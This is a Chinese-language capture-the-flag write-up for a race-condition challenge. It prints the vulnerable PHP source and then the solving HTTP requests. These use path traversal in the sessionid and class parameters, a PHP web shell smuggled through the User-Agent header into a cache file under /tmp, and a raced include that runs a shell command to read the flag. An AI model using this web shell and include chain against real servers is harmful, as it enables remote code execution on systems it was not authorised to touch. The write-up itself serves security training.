四川省大学生信息安全线上VulC0d3 WriteUp

一道条件竞争的ctf题目。

打开题目就可以看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Hello!
REMOTE_ADDR: 192.168.200.46
HTTP_USER_AGENT: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
REQUEST_TIME: 1505782701

<?php
define('ROOT_PATH', dirname(__FILE__));

require(ROOT_PATH."/functions.php");

$sessionid = isset($_GET['sessionid'])?$_GET['sessionid']:''; //APP调用

if($sessionid != ''){
session_id($sessionid);
}
session_start();

$class = isset($_GET['class']) ? strtolower(trim($_GET['class'])) : '';

if ($class == '') {
header("location: ./index.php?class=index");
exit;
}

if (!file_exists(ROOT_PATH."/Class/{$class}.class.inc"))
exit;

require_once(ROOT_PATH."/Class/{$class}.class.inc");

$obj = new $class();
$obj->execute();

show_source(__FILE__);

题目默认require /Class/index.class.inc,下载下来读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

class Index {

private $cachefile;
private $logdata;

function __construct() {
global $sessionid;
$this->cachefile = ROOT_PATH . "/Cache/{$sessionid}.inc";
if (!file_exists($this->cachefile)) {
$this->logdata = GetUserLog();
file_put_contentsfa($this->cachefile, json_encode($this->logdata));
} else {
$this->logdata = json_decode(file_get_contents($this->cachefile), 1);
}
}

function execute() {
echo "<b>Hello!</b><br>\n";
foreach ($this->logdata as $key => $item) {
echo "<b>{$key}:</b> " . htmlspecialchars($item) . "<br>\n";
}
}

function __destruct() {
if (SaveUserLog($this->logdata)) { //将请求日志保存到数据库
unlink($this->cachefile);
}
}

}

php逻辑是判断session缓存是否存在,不存在把头部一些信息保存到Cache/$sessionid.inc中,存在读出来。在php结束后删除缓存。期间index.php调用execute读出到首页中。

思路1:session缓存写到Class文件夹中利用首页的require包含,但是试了各种文件:均没有写权限。

思路2:session写到Cache文件夹中利用\$sessionid包含Cache文件夹中的缓存。但$sessionid = isset($_GET['sessionid'])?$_GET['sessionid']:''; 不可以有大写字母,放弃。

思路3:发现/tmp 文件可写,利用思路一,写入/tmp文件夹,然后包含。

在inc文件的最后有一行删除文件,要赶在删除文件前运行他。

1
2
3
4
5
6
7
8
9
10
GET /index.php?class=index&sessionid=../../../../../../tmp/testaaaaaa.class HTTP/1.1
Host: 192.168.5.16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: '§"§<?php system($_GET[1]);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=8o2ro21487qmti39vpshr5ji75
Connection: close
1
2
3
4
5
6
7
8
9
10
GET /index.php?class=../../../../../../../tmp/testaaaaaa&1=cat+f1aG_30bd87Sjhe6d.php HTTP/1.1
Host: 192.168.5.16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: '§"§
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=8o2ro21487qmti39vpshr5ji75
Connection: close

用burp的线程跑起来,并在删除之前命令执行。

支持一下
扫一扫,支持forsigner